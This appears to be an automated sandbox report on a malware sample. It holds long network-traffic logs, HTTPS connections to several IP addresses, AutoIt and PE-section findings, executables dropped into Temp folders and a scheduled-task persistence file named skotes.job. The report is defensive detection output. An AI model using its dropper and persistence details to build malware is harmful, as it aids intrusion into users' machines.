Source: unknown	Network traffic detected: HTTP traffic on port 50109 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49829 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50132 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50027 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49749
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49869
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49747
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49989
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49746
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49988
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49745
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49866
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49987
Source: unknown	Network traffic detected: HTTP traffic on port 50036 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50215
Source: unknown	Network traffic detected: HTTP traffic on port 50174 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50151 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50116 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50059 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50094 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49746 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49769 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49803 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49826 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49849 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50106
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50105
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50108
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50107
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50109
Source: unknown	Network traffic detected: HTTP traffic on port 49929 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50100
Source: unknown	Network traffic detected: HTTP traffic on port 50186 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49872 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50102
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50101
Source: unknown	Network traffic detected: HTTP traffic on port 50243 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50104
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50103
Source: unknown	Network traffic detected: HTTP traffic on port 50025 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49964 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50128 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50162 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49798 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49861 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50117
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50116
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50119
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50118
Source: unknown	Network traffic detected: HTTP traffic on port 49918 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49873 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49787 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49930 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50110
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50231
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50112
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50115
Source: unknown	Network traffic detected: HTTP traffic on port 49745 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49986 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49850 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49963 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50127 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50175 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49799
Source: unknown	Network traffic detected: HTTP traffic on port 49757 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50007
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50128
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49798
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50006
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50127
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49797
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49796
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50008
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50129
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49795
Source: unknown	Network traffic detected: HTTP traffic on port 49952 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49794
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49793
Source: unknown	Network traffic detected: HTTP traffic on port 49814 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49792
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49791
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50120
Source: unknown	Network traffic detected: HTTP traffic on port 50093 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50150 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50243
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50121
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50124
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50123
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50005
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50126
Source: unknown	Network traffic detected: HTTP traffic on port 49895 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50004
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50125
Source: unknown	Network traffic detected: HTTP traffic on port 49768 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50048 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49825 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50250
Source: unknown	Network traffic detected: HTTP traffic on port 49884 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49907 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49941 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50082 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50306 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50105 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49789
Source: unknown	Network traffic detected: HTTP traffic on port 49997 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49779 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49859 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49894 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50106 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50129 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49965 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49799 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49942 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49977 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50081 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49816 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50306
Source: unknown	Network traffic detected: HTTP traffic on port 50117 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50173 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50035 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49919 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49954 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50152 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50070 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49788 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49988 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49767 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49827 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50046 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49882 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49848 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50141 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49756 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49838 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49976 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50118 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49953 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49815 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49908 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50024 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50163 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49883 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49860 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50140 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49778 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49755 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50205
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50204
Source: unknown	Network traffic detected: HTTP traffic on port 50196 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49931 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50058 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50203
Source: unknown	Network traffic detected: HTTP traffic on port 49804 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49744 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49987 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49920 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49926 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50175
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50174
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50295
Source: unknown	Network traffic detected: HTTP traffic on port 49789 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49800 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50176
Source: unknown	Network traffic detected: HTTP traffic on port 49766 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50058
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50179
Source: unknown	Network traffic detected: HTTP traffic on port 49743 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50178
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50059
Source: unknown	Network traffic detected: HTTP traffic on port 49961 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49984 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50180
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50182
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50181
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50063
Source: unknown	Network traffic detected: HTTP traffic on port 50068 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50102 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50045 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50125 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50251 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49996 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50010 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49812 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50186
Source: unknown	Network traffic detected: HTTP traffic on port 49858 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50064
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50067
Source: unknown	Network traffic detected: HTTP traffic on port 50091 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50188
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50187
Source: unknown	Network traffic detected: HTTP traffic on port 49893 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50068
Source: unknown	Network traffic detected: HTTP traffic on port 50205 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50070
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50191
Source: unknown	Network traffic detected: HTTP traffic on port 49915 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50193
Source: unknown	Network traffic detected: HTTP traffic on port 50159 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50074
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50195
Source: unknown	Network traffic detected: HTTP traffic on port 49823 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49777 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49869 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50204 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50252 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50195 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50034 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49972 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50147 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50172 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50076
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50075
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50196
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50079
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50081
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50083
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50082
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50085
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50084
Source: unknown	Network traffic detected: HTTP traffic on port 49847 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49927 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49822 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49765 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50079 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50090
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50091
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50094
Source: unknown	Network traffic detected: HTTP traffic on port 50136 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49983 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50093
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50096
Source: unknown	Network traffic detected: HTTP traffic on port 49938 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50023 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50095
Source: unknown	Network traffic detected: HTTP traffic on port 49811 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50018
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50017
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50138
Source: unknown	Network traffic detected: HTTP traffic on port 50193 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50019
Source: unknown	Network traffic detected: HTTP traffic on port 49813 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49974 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50149 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50010
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50252
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50130
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50251
Source: unknown	Network traffic detected: HTTP traffic on port 49836 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49916 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50133
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50132
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50253
Source: unknown	Network traffic detected: HTTP traffic on port 50090 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50135
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50134
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50016
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50137
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50015
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50136
Source: unknown	Network traffic detected: HTTP traffic on port 49939 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50161 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50140
Source: unknown	Network traffic detected: HTTP traffic on port 49776 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49845 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49791 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49753 -> 443

Source: unknown	HTTPS traffic detected: 52.149.20.212:443 -> 192.168.2.4:49730 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.63:443 -> 192.168.2.4:49736 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 52.149.20.212:443 -> 192.168.2.4:49737 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.63:443 -> 192.168.2.4:49767 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.162.84:443 -> 192.168.2.4:49807 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.162.84:443 -> 192.168.2.4:49814 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.162.84:443 -> 192.168.2.4:49822 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.162.84:443 -> 192.168.2.4:49828 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.162.84:443 -> 192.168.2.4:49836 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.162.84:443 -> 192.168.2.4:49843 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.162.84:443 -> 192.168.2.4:49847 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.162.84:443 -> 192.168.2.4:49850 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.162.84:443 -> 192.168.2.4:49857 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.162.84:443 -> 192.168.2.4:49859 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.162.84:443 -> 192.168.2.4:49875 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.162.84:443 -> 192.168.2.4:49878 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.162.84:443 -> 192.168.2.4:49885 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.162.84:443 -> 192.168.2.4:49887 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.162.84:443 -> 192.168.2.4:49888 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 184.30.17.174:443 -> 192.168.2.4:49893 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.4:49899 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.160.144.191:443 -> 192.168.2.4:49902 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 184.30.17.174:443 -> 192.168.2.4:49905 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.162.84:443 -> 192.168.2.4:49913 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.162.84:443 -> 192.168.2.4:49917 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.160.144.191:443 -> 192.168.2.4:49920 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.162.84:443 -> 192.168.2.4:49931 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.162.84:443 -> 192.168.2.4:49939 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.162.84:443 -> 192.168.2.4:49945 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.162.84:443 -> 192.168.2.4:49955 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.63:443 -> 192.168.2.4:49978 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.162.84:443 -> 192.168.2.4:49980 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.162.84:443 -> 192.168.2.4:49990 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.162.84:443 -> 192.168.2.4:50005 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.63:443 -> 192.168.2.4:50085 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.160.144.191:443 -> 192.168.2.4:50096 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.4:50100 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.4:50104 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.120.208.123:443 -> 192.168.2.4:50118 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.120.208.123:443 -> 192.168.2.4:50117 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.120.208.123:443 -> 192.168.2.4:50116 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.120.208.123:443 -> 192.168.2.4:50119 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.126.53.14:443 -> 192.168.2.4:50166 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.126.53.14:443 -> 192.168.2.4:50168 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.149.100.209:443 -> 192.168.2.4:50172 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.4:50171 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 151.101.1.91:443 -> 192.168.2.4:50176 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.149.100.209:443 -> 192.168.2.4:50178 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.4:50179 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.4:50181 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.4:50180 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.126.53.14:443 -> 192.168.2.4:50187 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.189.173.20:443 -> 192.168.2.4:50196 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.120.208.123:443 -> 192.168.2.4:50203 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.120.208.123:443 -> 192.168.2.4:50205 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.120.208.123:443 -> 192.168.2.4:50204 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.189.173.15:443 -> 192.168.2.4:50231 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.120.208.123:443 -> 192.168.2.4:50253 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.120.208.123:443 -> 192.168.2.4:50250 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.120.208.123:443 -> 192.168.2.4:50251 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.120.208.123:443 -> 192.168.2.4:50252 version: TLS 1.2

System Summary

Binary is likely a compiled AutoIt script file

Source: 9afe8d29fa.exe, 0000000C.00000002.2768066825.0000000000C12000.00000002.00000001.01000000.0000000D.sdmp	String found in binary or memory: This is a third-party compiled AutoIt script.		memstr_d8347e8b-1
Source: 9afe8d29fa.exe, 0000000C.00000002.2768066825.0000000000C12000.00000002.00000001.01000000.0000000D.sdmp	String found in binary or memory: AnyArabicArmenianAvestanBalineseBamumBassa_VahBatakBengaliBopomofoBrahmiBrailleBugineseBuhidCCanadian_AboriginalCarianCaucasian_AlbanianCcCfChakmaChamCherokeeCnCoCommonCopticCsCuneiformCypriotCyrillicDeseretDevanagariDuployanEgyptian_HieroglyphsElbasanEthiopicGeorgianGlagoliticGothicGranthaGreekGujaratiGurmukhiHanHangulHanunooHebrewHiraganaImperial_AramaicInheritedInscriptional_PahlaviInscriptional_ParthianJavaneseKaithiKannadaKatakanaKayah_LiKharoshthiKhmerKhojkiKhudawadiLL&LaoLatinLepchaLimbuLinear_ALinear_BLisuLlLmLoLtLuLycianLydianMMahajaniMalayalamMandaicManichaeanMcMeMeetei_MayekMende_KikakuiMeroitic_CursiveMeroitic_HieroglyphsMiaoMnModiMongolianMroMyanmarNNabataeanNdNew_Tai_LueNkoNlNoOghamOl_ChikiOld_ItalicOld_North_ArabianOld_PermicOld_PersianOld_South_ArabianOld_TurkicOriyaOsmanyaPPahawh_HmongPalmyrenePau_Cin_HauPcPdPePfPhags_PaPhoenicianPiPoPsPsalter_PahlaviRejangRunicSSamaritanSaurashtraScSharadaShavianSiddhamSinhalaSkSmSoSora_SompengSundaneseSyloti_NagriSyriacTagalogTagbanwaTai_LeTai_ThamTai_VietTakriTamilTeluguThaanaThaiTibetanTifinaghTirhutaUgariticVaiWarang_CitiXanXpsXspXucXwdYiZZlZpZsSDSOFTWARE\Classes\\CLSID\\\IPC$This is a third-party compiled AutoIt script."runasError allocating memory.SeAssignPrimaryTokenPrivilegeSeIncreaseQuotaPrivilegeSeBackupPrivilegeSeRestorePrivilegewinsta0defaultwinsta0\defaultComboBoxListBoxSHELLDLL_DefViewlargeiconsdetailssmalliconslistCLASSCLASSNNREGEXPCLASSIDNAMEXYWHINSTANCETEXT%s%u%s%dLAST[LASTACTIVE[ACTIVEHANDLE=[HANDLE:REGEXP=[REGEXPTITLE:CLASSNAME=[CLASS:ALL[ALL]HANDLEREGEXPTITLETITLEThumbnailClassAutoIt3GUIContainer		memstr_de1a4e6f-9

PE file contains section with special chars

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .idata
Source: file.exe	Static PE information: section name:
Source: skotes.exe.0.dr	Static PE information: section name:
Source: skotes.exe.0.dr	Static PE information: section name: .idata
Source: skotes.exe.0.dr	Static PE information: section name:
Source: random[2].exe.6.dr	Static PE information: section name:
Source: random[2].exe.6.dr	Static PE information: section name: .idata
Source: d0d78d3fdb.exe.6.dr	Static PE information: section name:
Source: d0d78d3fdb.exe.6.dr	Static PE information: section name: .idata
Source: random[1].exe.6.dr	Static PE information: section name:
Source: random[1].exe.6.dr	Static PE information: section name: .rsrc
Source: random[1].exe.6.dr	Static PE information: section name: .idata
Source: random[1].exe.6.dr	Static PE information: section name:
Source: 2a8b7e5b78.exe.6.dr	Static PE information: section name:
Source: 2a8b7e5b78.exe.6.dr	Static PE information: section name: .rsrc
Source: 2a8b7e5b78.exe.6.dr	Static PE information: section name: .idata
Source: 2a8b7e5b78.exe.6.dr	Static PE information: section name:
Source: random[1].exe0.6.dr	Static PE information: section name:
Source: random[1].exe0.6.dr	Static PE information: section name: .idata
Source: random[1].exe0.6.dr	Static PE information: section name:
Source: 2235d4f703.exe.6.dr	Static PE information: section name:
Source: 2235d4f703.exe.6.dr	Static PE information: section name: .idata
Source: 2235d4f703.exe.6.dr	Static PE information: section name:
Source: random[1].exe1.6.dr	Static PE information: section name:
Source: random[1].exe1.6.dr	Static PE information: section name: .idata
Source: random[1].exe1.6.dr	Static PE information: section name:
Source: 86526d7b20.exe.6.dr	Static PE information: section name:
Source: 86526d7b20.exe.6.dr	Static PE information: section name: .idata
Source: 86526d7b20.exe.6.dr	Static PE information: section name:

Source: C:\Users\user\AppData\Local\Temp\1008326001\2a8b7e5b78.exe	Process Stats: CPU usage > 49%
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process Stats: CPU usage > 49%

Source: C:\Users\user\Desktop\file.exe

File created: C:\Windows\Tasks\skotes.job

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\1008327001\2235d4f703.exe	Code function: 9_3_0585F3EC	9_3_0585F3EC
Source: C:\Users\user\AppData\Local\Temp\1008327001\2235d4f703.exe	Code function: 9_3_05860186	9_3_05860186
Source: C:\Users\user\AppData\Local\Temp\1008327001\2235d4f703.exe	Code function: 9_3_0586013E	9_3_0586013E
Source: C:\Users\user\AppData\Local\Temp\1008327001\2235d4f703.exe	Code function: 9_3_05861003	9_3_05861003
Source: C:\Users\user\AppData\Local\Temp\1008327001\2235d4f703.exe	Code function: 11_3_05B01050	11_3_05B01050
Source: C:\Users\user\AppData\Local\Temp\1008327001\2235d4f703.exe	Code function: 11_3_05B01050	11_3_05B01050
Source: C:\Users\user\AppData\Local\Temp\1008327001\2235d4f703.exe	Code function: 11_3_05B01050	11_3_05B01050
Source: C:\Users\user\AppData\Local\Temp\1008327001\2235d4f703.exe	Code function: 11_3_013FDB79	11_3_013FDB79
Source: C:\Users\user\AppData\Local\Temp\1008327001\2235d4f703.exe	Code function: 11_3_05B01050	11_3_05B01050
Source: C:\Users\user\AppData\Local\Temp\1008327001\2235d4f703.exe	Code function: 11_3_05B01050	11_3_05B01050
Source: C:\Users\user\AppData\Local\Temp\1008327001\2235d4f703.exe	Code function: 11_3_05B01050	11_3_05B01050
Source: C:\Users\user\AppData\Local\Temp\1008327001\2235d4f703.exe	Code function: 11_3_013FDB79	11_3_013FDB79
